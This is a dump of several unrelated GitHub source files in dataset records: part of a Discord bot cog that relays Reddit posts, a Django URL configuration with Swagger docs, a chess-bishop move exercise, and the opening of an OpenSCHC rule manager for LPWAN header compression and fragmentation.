desc_parts.append(f'(self.{submission.subreddit.display_name})')\n else:\n desc_parts.append(f'({submission.domain})')\n desc_parts.append('on')\n desc_parts.append(subreddit)\n\n es = EmbedSplitter(\n auto_truncate=True,\n title=submission.title,\n url='https://reddit.com' + submission.permalink,\n timestamp=datetime.utcfromtimestamp(submission.created_utc)\n )\n es.set_footer(text=' '.join(desc_parts))\n es.set_author(name='/u/' + submission.author.name,\n url='https://reddit.com/u/{}'.format(submission.author.name))\n if submission.thumbnail.startswith('http://') or submission.thumbnail.startswith('https://'):\n es.set_thumbnail(url=submission.thumbnail)\n await self.send_message(channel, embed=es)\n\n #####\n # Discord\n #####\n\n @task(is_unique=True)\n async def task_check_reddit(self):\n \"\"\" Checks all subreddits configured. \"\"\"\n sub_set = self._get_all_subreddits()\n\n if not sub_set:\n return # none configured\n\n with self.cog_state as state:\n count = 0\n last_checked = utctimestamp(state.last_checked)\n last_timestamp = last_checked # last processed submission timestamp\n async for submission in self.stream_manager.stream():\n # if an old submission / already checked, skip it\n if self.stream_manager.is_fresh and submission.created_utc <= last_checked:\n continue\n self.queue_manager.add(submission)\n last_timestamp = submission.created_utc\n logger.debug(\"Found post: {}\".format(self.log_submission(submission)))\n count += 1\n if count > 0:\n logger.info(\"Found {} posts in subreddits: {}\".format(count, ', '.join(sub_set)))\n else:\n logger.debug(\"Found 0 posts in subreddits: {}\".format(', '.join(sub_set)))\n # issue #339: if an older post is un-removed and detected, we want to avoid\n # re-posting posts that came after that older post\n if last_timestamp > last_checked:\n state.last_checked = datetime.utcfromtimestamp(last_timestamp)\n await self._post_all_channels()\n\n @task(is_unique=False)\n async def task_process_queue(self, channel: discord.Channel):\n \"\"\" Checks queue of reddit posts to send to Discord channel and posts when possible. \"\"\"\n with self.cog_state:\n await self._post_from_queue(channel)\n\n @commands.group(invoke_without_command=True, pass_context=True, ignore_extra=False)\n @mod_only()\n async def subwatch(self, ctx: commands.Context):\n \"\"\"!kazhelp\n\n brief: Show Subwatch configuration.\n description: Show the current subwatch configuration.\n \"\"\"\n channel_strings = []\n for channel, ch_info in self.cog_state.channels.items():\n channel_strings.append(\"{}: {}\".format(\n channel.mention, ', '.join('/r/' + name for name in ch_info.subreddits)\n ))\n await self.send_message(ctx.message.channel, ctx.message.author.mention + '\\n' +\n (format_list(channel_strings) if channel_strings else 'No subwatch configured'))\n\n @subwatch.command(pass_context=True, ignore_extra=False)\n @mod_only()\n async def add(self, ctx: commands.Context, channel: discord.Channel=None, *,\n subreddits: str=None):\n \"\"\"!kazhelp\n\n brief: Add or edit a channel's sub watches.\n description: Add or change subreddits to watch and post into a channel.\n parameters:\n - name: channel\n type: string\n description: \"Discord channel to output the watched subreddits into.\"\n - name: subreddits\n type: string\n optional: True\n description: \"Subreddits to watch and post in the channel. Can be separated by commas,\n spaces or `+`.\"\n examples:\n - command: \".subwatch add #general askreddit askscience\"\n description: \"Watch the subreddits AskReddit and AskScience and post new posts to\n #general.\"\n \"\"\"\n # preprocess the list\n subs_list_raw = subreddits.replace(',', ' ').replace('+', ' ').split(' ')\n # strip elements, and filter empty elements due to extra whitespace\n subreddits_list = tuple(filter(lambda s: s, (s.strip().lower() for s in subs_list_raw)))\n with self.cog_state as state:\n state.channels[channel] = SubwatchChannel(\n subreddits=subreddits_list,\n last_posted=datetime.utcnow() # issue #340: don't process old posts on new config\n )\n self.stream_manager.subreddits = self._get_all_subreddits()\n logger.info(\"Set channel #{} for subwatch: {}\"\n .format(channel.name, ', '.join('/r/' + s for s in subreddits_list)))\n await self.send_message(ctx.message.channel, ctx.message.author.mention + ' ' +\n \"Set channel {} for subwatch: {}\"\n .format(channel.mention, ', '.join('/r/' + s for s in subreddits_list)))\n\n @subwatch.command(pass_context=True, ignore_extra=False)\n @mod_only()\n async def reset(self, ctx: commands.Context, channel: discord.Channel):\n \"\"\"!kazhelp\n\n brief: Reset a channel's subwatch queue , posting only new posts from now onwards.\n description: |\n Reset a channel's subwatch state, clearing the queue and \"last checked\" data.\n This will cause subwatch to ignore older posts and only post new posts from the time\n this command is issued onward.\n parameters:\n - name: channel\n type: string\n description: \"Discord channel to output the watched subreddits into.\"\n examples:\n - command: \".subwatch reset #general\"\n description: \"\"\n \"\"\"\n with self.cog_state as state:\n current = state.channels[channel]\n subreddits = current.subreddits\n state.channels[channel] = SubwatchChannel(\n subreddits=subreddits, last_posted=datetime.utcnow()\n )\n self.stream_manager.subreddits = self._get_all_subreddits()\n logger.info(\"Reset channel #{} subwatch: {}\"\n .format(channel.name, ', '.join('/r/' + s for s in subreddits)))\n await self.send_message(ctx.message.channel, ctx.message.author.mention + ' ' +\n \"Reset channel {} subwatch: {}\"\n .format(channel.mention, ', '.join('/r/' + s for s in subreddits)))\n\n @subwatch.command(pass_context=True, ignore_extra=False)\n @mod_only()\n async def rem(self, ctx: commands.Context, channel: discord.Channel=None):\n \"\"\"!kazhelp\n\n brief: Remove subwatches from a channel.\n description: Stop watching subreddits in a channel.\n parameters:\n - name: channel\n type: string\n description: \"Discord channel.\"\n examples:\n - command: \".subwatch rem #general\"\n description: \"Stop watching subreddits in #general.\"\n \"\"\"\n try:\n with self.cog_state as state:\n del state.channels[channel]\n except IndexError:\n logger.warning(f'Cannot remove channel #{channel.name}: no subwatch for channel')\n await self.send_message(ctx.message.channel, ctx.message.author.mention + ' ' +\n f'Cannot remove channel {channel.mention}: no subwatch for channel')\n else:\n # clean up scheduled tasks\n for task_instance in self.scheduler.get_instances(self.task_process_queue):\n if task_instance.args[0] == channel:\n task_instance.cancel()\n self.stream_manager.subreddits = self._get_all_subreddits()\n logger.info(f'Removed subwatches in #{channel.name}.')\n await self.send_message(ctx.message.channel,\n ctx.message.author.mention + ' ' + f'Removed subwatches in {channel.mention}.')\n\n\ndef setup(bot):\n bot.add_cog(Subwatch(bot))\n","repo_name":"Worldbuilding/kaztron","sub_path":"kaztron/cog/reddit/subwatch.py","file_name":"subwatch.py","file_ext":"py","file_size_in_byte":23964,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"53"}
+{"seq_id":"36410681934","text":"from django.contrib import admin\nfrom django.urls import include, path, re_path\nfrom djoser.views import TokenCreateView\nfrom drf_yasg import openapi\nfrom drf_yasg.views import get_schema_view\nfrom rest_framework import permissions\nfrom users.views import CustomTokenDestroyView\n\nurlpatterns = [\n path(\"admin/\", admin.site.urls),\n path(\"api/\", include(\"products.urls\", namespace=\"products\")),\n path(\"api/\", include(\"core.urls\", namespace=\"core\")),\n re_path(\n r\"^api/(?P(v1|v2))/auth/token/login/?$\",\n TokenCreateView.as_view(),\n name=\"login\",\n ),\n re_path(\n r\"^api/(?P(v1|v2))/auth/token/logout/?$\",\n CustomTokenDestroyView.as_view(),\n name=\"logout\",\n ),\n]\n\n\nschema_view = get_schema_view(\n openapi.Info(\n title=\"Lenta hackathon API\",\n default_version=\"v1\",\n description=\"Документация для бэкенд приложения.\",\n # terms_of_service=\"URL страницы с пользовательским соглашением\",\n contact=openapi.Contact(email=\"kubanez74@gmail.com\"),\n license=openapi.License(name=\"BSD License\"),\n ),\n public=True,\n permission_classes=(permissions.AllowAny,),\n)\n\nurlpatterns += [\n re_path(\n r\"^swagger(?P\\.json|\\.yaml)$\",\n schema_view.without_ui(cache_timeout=0),\n name=\"schema-json\",\n ),\n re_path(\n r\"^swagger/$\",\n schema_view.with_ui(\"swagger\", cache_timeout=0),\n name=\"schema-swagger-ui\",\n ),\n re_path(\n r\"^redoc/$\",\n schema_view.with_ui(\"redoc\", cache_timeout=0),\n name=\"schema-redoc\"\n ),\n]\n","repo_name":"kubanez-create/Lenta_TS_backend","sub_path":"foodcast/foodcast/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1667,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"44182328712","text":"'''\r\nBoolean38 ◦ . Даны координаты двух различных полей шахматной доски x 1 ,\r\ny 1 , x 2 , y 2 (целые числа, лежащие в диапазоне 1–8). Проверить истинность\r\nвысказывания: «Слон за один ход может перейти с одного поля на другое».\r\n'''\r\n\r\nx1 = int(input(\"Введите x1: \"))\r\ny1 = int(input(\"Введите y1: \"))\r\n\r\nx2 = int(input(\"Введите x2: \"))\r\ny2 = int(input(\"Введите y2: \"))\r\n\r\nflag = True\r\n\r\ncolor1 = ''\r\ncolor2 = ''\r\n\r\nif (x1 % 2 == 0 and y1 % 2 != 0) or (x1 % 2 != 0 and y1 % 2 == 0):\r\n\tcolor1 = 'white'\r\nelse:\r\n\tcolor1 = 'black'\r\n\r\nif (x2 % 2 == 0 and y2 % 2 != 0) or (x2 % 2 != 0 and y2 % 2 == 0):\r\n\tcolor2 = 'white'\r\nelse:\r\n\tcolor2 = 'black'\r\n\r\nif color1 == color2:\r\n\tif (abs(x1 - x2)) == (abs(y1 - y2)):\r\n\t\tpass\r\n\telse:\r\n\t\tflag = False\r\nelse:\r\n\tflag = False\r\n\r\nprint(flag)","repo_name":"666sempron999/Abramyan-tasks-","sub_path":"Boolean(40)/38.py","file_name":"38.py","file_ext":"py","file_size_in_byte":956,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"337545278","text":"\"\"\"\nThe Rule Manager manages the context(s) for a specific device or a set of devices.\nIt maintains the context database and ensures its consistency. The hierarchy is the\nfollowing:\n\n+ context_database\n\n + device_context\n\n + set_of_rules\n\n + rule_id/rule_id_length\n\n + rules\n\n + Fragmentation\n + Compression\n\n------------\nIntroduction\n------------\n\nThe context includes a set of rules shared by both ends.\nIdentical Rules are used on both ends. They can be simply\ncopied/pasted from one end to the other end, if both ends use the same format for describing them.\n\nThis document specifies the OpenSCHC rule data model, which is based on JSON.\n\n---------------\nRule definition\n---------------\n\nA rule is described as a JSON dictionary.\n\nA rule is identified by its RuleID.\n\nThe size of the RuleID representation can change from one rule to\nthe next. Therefore, the rule description includes a RuleIDLength that indicates the length of the RuleID, in bits.\n\nBoth fields are integer numbers::\n\n {\n \"RuleID\" : 12,\n \"RuleIDLength\" : 4\n # notice that RuleID 12 represented on 6 bits is different from RuleID 12 on 4 bits!\n }\n\nIn SCHC, rules are used either for compression or fragmentation. Therefore, one and only one of the two keywords \"fragmentation\" or \"compression\" must be specified, per rule.\n\nCompression Rules\n-----------------\n\nAs defined in the SCHC specification, compression rules are composed of Field Descriptions.\nThe order in which the Field Descriptions appear in the rule is significant (e.g. it defines the order in which the compression residues are sent), therefore a compression rule is represented as an array.\n\nThe Field Description is a dictionary containing the key+data pairs as defined in the SCHC specification:\n\n* **FID**: a string identifying the field of the protocol header that is being compressed. The value of this string is the one returned by the protocol analyzer when encountering said field. E.g. \"IPV6.VER\". <<< why is this not IP.VER instead? It seems to me that IPV6.VER will always be 6!>>>\n* **FL**: if the value is a number, that value expresses the length of the field, in bits. If the \\\nvalue is a string, it designates a function that can compute the field length. The functions currently defined are:\n\n * *var*: the field is of variable length. It will be determined at run time by the protocol analyzer. The length (expressed in bytes) will be transmitted as part of the compression residue. The encoding is described in the SCHC specification.\n * *tkl*: this function is specific for compressing the CoAP Token field. The length of the Token is determined at run time by the protocol analyzer by looking at the Token Length field of he CoAP header.\n\n* **FP**: an integer specifying the position in the header of the field this Field Description applies to. The default value is 1. For each recurrence of the same field in the header, the value is increased by 1.\n* **DI**: tells the direction to which this Field Description applies:\n\n * *Up*: only to uplink messages (i.e. from device to network)\n * *Dw*: only to downlink messages (i.e. from network to device)\n * *Bi*: to both directions\n\n* **TV**: specifies the Target Value. The value is a number, a string or an array of these types. The \"TV\" key can be omitted or its value set to null if there is no value to check, for instance together with the \"ignore\" MO. If the Target Value is an array, then the value null among the array elements indicates that \\\nthe Field Descriptor matches the case where the field is not present in the header being compressed.\n* **MO**: specifies the Matching Operator. It is a string that can take the following values:\n\n * *ignore*: the field must be present in the header, but the value is not checked.\n * *equal*: type and value must check between the field value and the Target Value <<< il y a des champs avec des descriptions explicites de type dans les protocoles considérés ? >>\n * *MSB*: the most significant bits of the Target Value are checked against the most significant bits of the field value. The number of bits to be checked is given by the \"MOa\" field.\n * *match-mapping*: with this MO, the Target Value must be an array. This MO matches when one element of the Target Value array matches the field, in type and value.\n\n* **MOa**: specifies, if applicable, an argument to the MO. This currently only applies to the \"MSB\" MO, where the argument specifies the length of the matching, in bits.\n* **CDA**: designates the Compression/Decompression Action. It is a string that can take the following values:\n\n * *not-sent*: the field value is not sent as a residue.\n * *value-sent*: the field value is sent in extenso in the residue.\n * *LSB*: the bits remaining after the MSB comparison are sent in the residue.\n * *mapping-sent*: the index of the matching element in the array is sent.\n * *compute*: the field is not sent in the residue and the receiver knows how to recover the value from other information. This is generally used for length and checksum.\n\n* **CDAa**: represents the argument of the CDA. Currently, no CDAa is defined.\n\nFor example::\n\n {\n \"ruleID\": 12,\n \"ruleLength\": 4,\n \"compression\": [\n {\"FID\": \"IPV6.VER\", \"FL\": 4, \"FP\": 1, \"DI\": \"Bi\", \"TV\": 6, \"MO\": \"equal\", \"CDA\": \"not-sent\"},\n {\"FID\": \"IPV6.TC\", \"FL\": 8, \"FP\": 1, \"DI\": \"Bi\", \"TV\": 0, \"MO\": \"equal\", \"CDA\": \"not-sent\"},\n {\"FID\": \"IPV6.FL\", \"FL\": 20,\"FP\": 1, \"DI\": \"Bi\", \"TV\": 0, \"MO\": \"ignore\",\"CDA\": \"not-sent\"},\n {\"FID\": \"IPV6.LEN\", \"FL\": 16,\"FP\": 1, \"DI\": \"Bi\", \"MO\": \"ignore\",\"CDA\": \"compute-length\"},\n {\"FID\": \"IPV6.NXT\", \"FL\": 8, \"FP\": 1, \"DI\": \"Bi\", \"TV\": 58, \"MO\": \"equal\", \"CDA\": \"not-sent\"},\n {\"FID\": \"IPV6.HOP_LMT\",\"FL\": 8,\"FP\": 1,\"DI\": \"Bi\",\"TV\": 255,\"MO\": \"ignore\",\"CDA\": \"not-sent\"},\n {\"FID\": \"IPV6.DEV_PREFIX\",\"FL\": 64,\"FP\": 1,\"DI\": \"Bi\",\"TV\": [\"2001:db8::/64\",\n \"fe80::/64\",\n \"2001:0420:c0dc:1002::/64\" ],\n \"MO\": \"match-mapping\",\"CDA\": \"mapping-sent\",\"SB\": 1},\n {\"FID\": \"IPV6.DEV_IID\",\"FL\": 64,\"FP\": 1,\"DI\": \"Bi\",\"TV\": \"::79\",\"MO\": \"equal\",\"CDA\": \"DEVIID\"},\n {\"FID\": \"IPV6.APP_PREFIX\",\"FL\": 64,\"FP\": 1,\"DI\": \"Bi\",\"TV\": [ \"2001:db8:1::/64\",\n \"fe80::/64\",\n \"2404:6800:4004:818::/64\" ],\n \"MO\": \"match-mapping\",\"CDA\": \"mapping-sent\", \"SB\": 2},\n {\"FID\": \"IPV6.APP_IID\",\"FL\": 64,\"FP\": 1,\"DI\": \"Bi\",\"TV\": \"::2004\",\"MO\": \"equal\",\"CDA\": \"not-sent\"},\n {\"FID\": \"ICMPV6.TYPE\",\"FL\": 8,\"FP\": 1,\"DI\": \"Bi\",\"TV\": 128,\"MO\": \"equal\",\"CDA\": \"not-sent\"},\n {\"FID\": \"ICMPV6.CODE\",\"FL\": 8,\"FP\": 1,\"DI\": \"Bi\",\"TV\": 0, \"MO\": \"equal\",\"CDA\": \"not-sent\"},\n {\"FID\": \"ICMPV6.CKSUM\",\"FL\": 16,\"FP\": 1,\"DI\": \"Bi\",\"TV\": 0,\"MO\": \"ignore\",\"CDA\": \"compute-checksum\"},\n {\"FID\": \"ICMPV6.IDENT\",\"FL\": 16,\"FP\": 1,\"DI\": \"Bi\",\"TV\": [],\"MO\": \"ignore\",\"CDA\": \"value-sent\"},\n {\"FID\": \"ICMPV6.SEQNB\",\"FL\": 16,\"FP\": 1,\"DI\": \"Bi\",\"TV\": [],\"MO\": \"ignore\",\"CDA\": \"value-sent\"}\n ]\n }\n\n\nFragmentation Rules\n-------------------\n\nFragmentation rules define how the compression and decompression must be performed.\n\nThe keyword **Fragmentation** is followed by a dictionnary containing the different parameters used.\nInside the keyword **FRMode** indicates which Fragmentation mode is used (**NoAck**, **AckAlways**, **AckOnError**).\n**FRDirection** give the direction of the fragmentation rule. **UP** means that data fragments are sent by the device,\n**DW** for the opposite direction. This entry is mandatory.\nThen the keyword **FRModeProfiler** gives the information needed to create the SCHC fragmentation header and mode profile:\n\n* **dtagSize** gives in bit the size of the dtag field. <>. This keyword can be used by all the fragmentation modes.\n* **WSize** gives in bit the size of Window field. If not present, the default value is 0 (no window) in \\\nNoAck and 1 in AckAlways. In ackOnErr this field must be set to 1 or to an higher value.\n* **FCNSize** gives in bit the size of the FCN field. If not present, by default, the value is 1 for NoAck.\\\nFor AckAlways and AckOnError the value must be specified.\n* **ackBehavior** this keyword specifies on AckOnError, when the fragmenter except to receive a bitmap from the reassembler:\n\n * *afterAll1*: the bitmap (or RCS OK) is expected only after the reception of a All-1.\n * *afterAll0*: the bitmap may be expected after the transmission of the window last fragment (All-0 or All-1)\n\n* **lastTileInAll1**: true to append last tile to the All-1 message, false otherwise.\n* **tileSize** gives the size in bit of a tile.\n* **MICAlgorithm** gives the algorithm used to compute the MIB, by default **RCS_RFC8724** (e.g. crc32),\n* **MICWordSize** gives the size of the RCS word.\n* **maxRetry** indicates to the sender how many time a fragment or ack request can be sent.\n* **timeout** indicated in seconds to the sender how many time between two retransmissions. The receiver can compute the delay before aborting.\n\nFor instance::\n\n {\n \"RuleID\": 1,\n \"RuleLength\": 3,\n \"Fragmentation\" : {\n \"FRMode\": \"AckOnError\",\n \"FRDirection\": \"UP\",\n \"FRModeProfile\": {\n \"dtagSize\": 2,\n \"WSize\": 5,\n \"FCNSize\": 3,\n \"ackBehavior\": \"afterAll1\",\n \"tileSize\": 9,\n \"MICAlgorithm\": \"RCS_RFC8724\",\n \"MICWordSize\": 8,\n \"maxRetry\": 4,\n \"timeout\": 600,\n \"lastTileInAll1\": false\n }\n }\n }\n\n-------\nContext\n-------\n\nA context is associated with a specific device, which may be identified by a unique LPWAN\nidentifier, for instance a LoRaWAN devEUI.\n\nThe context also includes a set of rules. The rule description is defined [above](#rule-definition)::\n\n\n [\n {\n \"DeviceID\": 0x1234567890,\n \"SoR\" : [ ..... ]\n },\n {\n \"DeviceID\": 0xDEADBEEF,\n \"SoR\" : [ ..... ]\n },\n ...\n ]\n\nDeviceID is a numerical value that must be unique in the context. If the context is used on a device, the deviceID may be omitted or set to null. In the core network, the DeviceIDs must be specified.\n\nThe set of rules itself expands as shown below::\n\n [\n {\n \"RuleID\" : 12,\n \"RuleIDLength\" : 4,\n \"compression\": [\n {\n \"FID\": \"IPV6.VER\",\n \"FL\": 4,\n \"FP\": 1,\n \"DI\": \"Bi\",\n \"TV\": 6,\n \"MO\": \"equal\",\n \"CDA\": \"not-sent\"\n },\n {\n \"FID\": \"IPV6.DEV_PREFIX\",\n \"FL\": 64,\n \"FP\": 1,\n \"DI\": \"Bi\",\n \"TV\": [ \"2001:db8::/64\", \"fe80::/64\", \"2001:0420:c0dc:1002::/64\" ],\n \"MO\": \"match-mapping\",\n \"CDA\": \"mapping-sent\",\n },\n ]\n },\n {\n \"RuleID\" : 13,\n \"RuleIDLength\" : 4,\n \"fragmentation\" : ....\n },\n .....\n ]\n\n\n\nRemove\n------\n\nSuppresses a rule for a specific device <<< only one, or a set of rules? >>>. If no rule is specified, all rules for that device are removed from the context::\n\n RM.remove ({\"DeviceID\": 0x1234567, \"SoR\": {{\"ruleID\":12, \"ruleLength\":4}}})\n RM.remove ({\"DeviceID\": 0x1234567})\n\nFindRuleFromPacket\n------------------\n\nThis method returns a rule and a DeviceID that match a packet description given by the protocol analyzer.\n\nFindFragmentationRule (size)\n----------------------------\n\nReturns a fragmentation rule compatible with the packet size passed as parameter.\n\n\nFindRuleFromID\n--------------\n\nGiven the first bits received from the LPWAN, returns either a fragmentation or a compression rule.\n\n\n\"\"\"\n\nfrom operator import mod\nfrom gen_base_import import *\nfrom copy import deepcopy\nfrom gen_parameters import *\nfrom compr_core import *\nfrom compr_parser import *\nimport ipaddress\nimport warnings\n\nimport base64\nimport cbor2 as cbor\n\n\"\"\"\n.. module:: gen_rulemanager\n :platform: Python, Micropython\n :synopsis: This module is used to manage rules.\n\"\"\"\n\n# XXX to be checked whether they are needed.\nDEFAULT_FRAGMENT_RID = 1\nDEFAULT_L2_SIZE = 8\nDEFAULT_RECV_BUFSIZE = 512\nDEFAULT_TIMER_T1 = 5\nDEFAULT_TIMER_T2 = 10\nDEFAULT_TIMER_T3 = 10\nDEFAULT_TIMER_T4 = 12\nDEFAULT_TIMER_T5 = 14\n\n# CONTAINS DEFAULT AND USEFUL INFORMATION ON FIELDS\n\nclass IPv6address:\n addr = b''\n\nFIELD__DEFAULT_PROPERTY = {\n T_IPV6_VER : {\"FL\": 4, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_IPV6_TC : {\"FL\": 8, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_IPV6_FL : {\"FL\": 20, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_IPV6_NXT : {\"FL\": 8, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_IPV6_HOP_LMT : {\"FL\": 8, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_IPV6_LEN : {\"FL\": 16, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_IPV6_DEV_PREFIX : {\"FL\": 64, \"TYPE\": bytes, \"ALGO\": \"DIRECT\" },\n T_IPV6_DEV_IID : {\"FL\": 64, \"TYPE\": bytes, \"ALGO\": \"DIRECT\" },\n T_IPV6_APP_PREFIX : {\"FL\": 64, \"TYPE\": bytes, \"ALGO\": \"DIRECT\" },\n T_IPV6_APP_IID : {\"FL\": 64, \"TYPE\": bytes, \"ALGO\": \"DIRECT\" },\n T_UDP_DEV_PORT : {\"FL\": 16, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_UDP_APP_PORT : {\"FL\": 16, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_UDP_LEN : {\"FL\": 16, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_UDP_CKSUM : {\"FL\": 16, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_ICMPV6_TYPE : {\"FL\": 8, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_ICMPV6_CODE : {\"FL\": 8, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_ICMPV6_CKSUM : {\"FL\": 16, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_ICMPV6_IDENT : {\"FL\": 16, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_ICMPV6_SEQNO : {\"FL\": 16, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_ICMPV6_UNUSED : {\"FL\": 32, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_ICMPV6_PAYLOAD : {\"FL\": \"var\", \"TYPE\": bytes, \"ALGO\": \"DIRECT\" },\n T_COAP_VERSION : {\"FL\": 2, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_COAP_TYPE : {\"FL\": 2, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_COAP_TKL : {\"FL\": 4, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_COAP_CODE : {\"FL\": 8, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_COAP_MID : {\"FL\": 16, \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_COAP_TOKEN : {\"FL\": \"tkl\", \"TYPE\": int, \"ALGO\": \"DIRECT\" },\n T_COAP_OPT_URI_PATH : {\"FL\": \"var\", \"TYPE\": str, \"ALGO\": \"COAP_OPTION\" },\n T_COAP_OPT_CONT_FORMAT : {\"FL\": \"var\", \"TYPE\": int, \"ALGO\": \"COAP_OPTION\"},\n T_COAP_OPT_URI_QUERY : {\"FL\": \"var\", \"TYPE\": str, \"ALGO\": \"COAP_OPTION\" },\n T_COAP_OPT_NO_RESP : {\"FL\": \"var\", \"TYPE\": int, \"ALGO\": \"COAP_OPTION\"}\n}\n\n\n\nclass RuleManager:\n \"\"\"\n # Class RuleManager\n\n A RuleManager object is created this way:\n\n from RuleManager import *\n\n RM = RuleManager()\n\n arguments:\n\n - file: the RuleManager takes a file to upload rule_set\n - log: display debugging events\n\n \"\"\"\n\n def _return_default(self, elm, idx, val):\n \"\"\"test if a value is in the dictionary, otherwise return a specific value \"\"\"\n if idx in elm:\n return elm[idx]\n else:\n return val\n\n def Add(self, device=None, dev_info=None, file=None, compression=True):\n \"\"\"\n Add is used to add a new rule or a set of rules to a context. Add checks the validity of the rule:\n\n * ruleID/RuleIDLength do not overlap\n * the rule contains either one of a fragmentation and a compression description.\n\n If the DeviceID already exists in the context, the new rule is added to that context, providing no conflict on the RuleID is found.\n\n RM.Add ({\"DeviceID\": 0x1234567, \"sor\": {.....}})\n\n \"\"\"\n\n assert (dev_info is not None or file is not None)\n\n if file != None:\n dev_info = json.loads(open(file).read())\n\n if type(dev_info) is dict: #Context or Rules\n if T_RULEID in dev_info: # Rules\n sor = [dev_info]\n elif \"SoR\" in dev_info:\n if \"DeviceID\" in dev_info:\n device = dev_info[\"DeviceID\"]\n sor = dev_info[\"SoR\"]\n else:\n raise ValueError(\"unknown format\")\n elif type(dev_info) is list: # a Set of Rule\n sor = dev_info\n else:\n raise ValueError(\"unknown structure\")\n\n # check nature of the info: if \"SoR\" => device context, if \"RuleID\" => rule\n\n d = None\n for d in self._ctxt:\n if device == d[\"DeviceID\"]:\n break\n else:\n d = {\"DeviceID\": device, \"SoR\": []}\n self._ctxt.append(d)\n\n d[T_META] = {T_LAST_USED: None}\n print (\"@@@@@\", d)\n\n for n_rule in sor:\n if T_RULEID in n_rule:\n n_ruleID = n_rule[T_RULEID]\n elif T_RULEIDVALUE in n_rule:\n n_ruleID = n_rule[T_RULEIDVALUE]\n else:\n raise ValueError(\"Rule ID Value is missing\")\n n_ruleLength = n_rule[T_RULEIDLENGTH]\n left_aligned_n_ruleID = n_ruleID << (32 - n_ruleLength)\n\n overlap = False\n for e_rule in d[\"SoR\"]: # check no overlaps on RuleID\n left_aligned_e_ruleID = e_rule[T_RULEID] << (32 - e_rule[T_RULEIDLENGTH])\n if left_aligned_e_ruleID == left_aligned_n_ruleID:\n dprint (\"Warning; Rule {}/{} exists not inserted\".format(bin(n_ruleID), n_ruleLength) )\n overlap = True\n break\n\n if not overlap:\n if T_COMP in n_rule:\n r = self._create_compression_rule(n_rule, device)\n d[\"SoR\"].append(r)\n elif T_FRAG in n_rule:\n r = self._create_fragmentation_rule(n_rule)\n d[\"SoR\"].append(r)\n elif T_NO_COMP in n_rule:\n already_exists = self.FindNoCompressionRule(deviceID=device)\n if already_exists == None:\n arule = {}\n arule[T_RULEID] = n_ruleID\n arule[T_RULEIDLENGTH] = n_rule[T_RULEIDLENGTH]\n arule[T_NO_COMP] = []\n d[\"SoR\"].append(arule)\n else:\n print (\"Warning 'no compression' rule already exists\")\n else:\n raise ValueError (\"Rule type undefined\")\n #print (n_rule)\n\n def _create_fragmentation_rule (self, nrule):\n arule = {}\n if T_RULEID in nrule:\n arule[T_RULEID] = nrule[T_RULEID]\n elif T_RULEIDVALUE in nrule:\n arule[T_RULEID] = nrule[T_RULEIDVALUE]\n else:\n raise ValueError(\"Rule ID missing.\")\n arule[T_RULEIDLENGTH] = nrule[T_RULEIDLENGTH]\n arule[T_FRAG] = {}\n\n def _default_value (ar, nr, idx, default=None, failed=False):\n if failed and not idx in nr[T_FRAG][T_FRAG_PROF]:\n raise ValueError (\"{} not found\".format(idx))\n\n if not T_FRAG_PROF in nr[T_FRAG] or not idx in nr[T_FRAG][T_FRAG_PROF]:\n ar[T_FRAG][T_FRAG_PROF][idx] = default\n else:\n ar[T_FRAG][T_FRAG_PROF][idx] = nr[T_FRAG][T_FRAG_PROF][idx]\n\n if not T_FRAG_DIRECTION in nrule[T_FRAG]:\n raise ValueError (\"Keyword {} must be specified with {} or {}\".format(T_FRAG_DIRECTION, T_DIR_UP, T_DIR_DW))\n\n if not nrule[T_FRAG][T_FRAG_DIRECTION] in [T_DIR_UP, T_DIR_DW]:\n raise ValueError (\"Keyword {} must be {} or {}\".format(T_FRAG_DIRECTION, T_DIR_UP, T_DIR_DW))\n\n arule[T_FRAG][T_FRAG_DIRECTION] = nrule[T_FRAG][T_FRAG_DIRECTION] \n\n\n if T_FRAG_MODE in nrule[T_FRAG]:\n if not T_FRAG_PROF in nrule[T_FRAG]:\n arule[T_FRAG][T_FRAG_MODE] = {}\n\n if nrule[T_FRAG][T_FRAG_MODE] in [T_FRAG_NO_ACK, T_FRAG_ACK_ALWAYS, T_FRAG_ACK_ON_ERROR]:\n arule[T_FRAG][T_FRAG_MODE] = nrule[T_FRAG][T_FRAG_MODE]\n arule[T_FRAG][T_FRAG_PROF] ={}\n\n _default_value (arule, nrule, T_FRAG_FCN)\n _default_value (arule, nrule, T_FRAG_DTAG_SIZE, 0)\n _default_value (arule, nrule, T_FRAG_MIC, T_FRAG_RFC8724)\n\n if nrule[T_FRAG][T_FRAG_MODE] == T_FRAG_NO_ACK:\n _default_value(arule, nrule, T_FRAG_DTAG_SIZE, 2)\n _default_value (arule, nrule, T_FRAG_W_SIZE, 0)\n _default_value (arule, nrule, T_FRAG_FCN, 3)\n _default_value(arule, nrule, T_FRAG_L2WORDSIZE, 8)\n elif nrule[T_FRAG][T_FRAG_MODE] == T_FRAG_ACK_ALWAYS:\n _default_value (arule, nrule, T_FRAG_W_SIZE, 1)\n _default_value(arule, nrule, T_FRAG_L2WORDSIZE, 8)\n _default_value (arule, nrule, T_FRAG_MAX_RETRY, 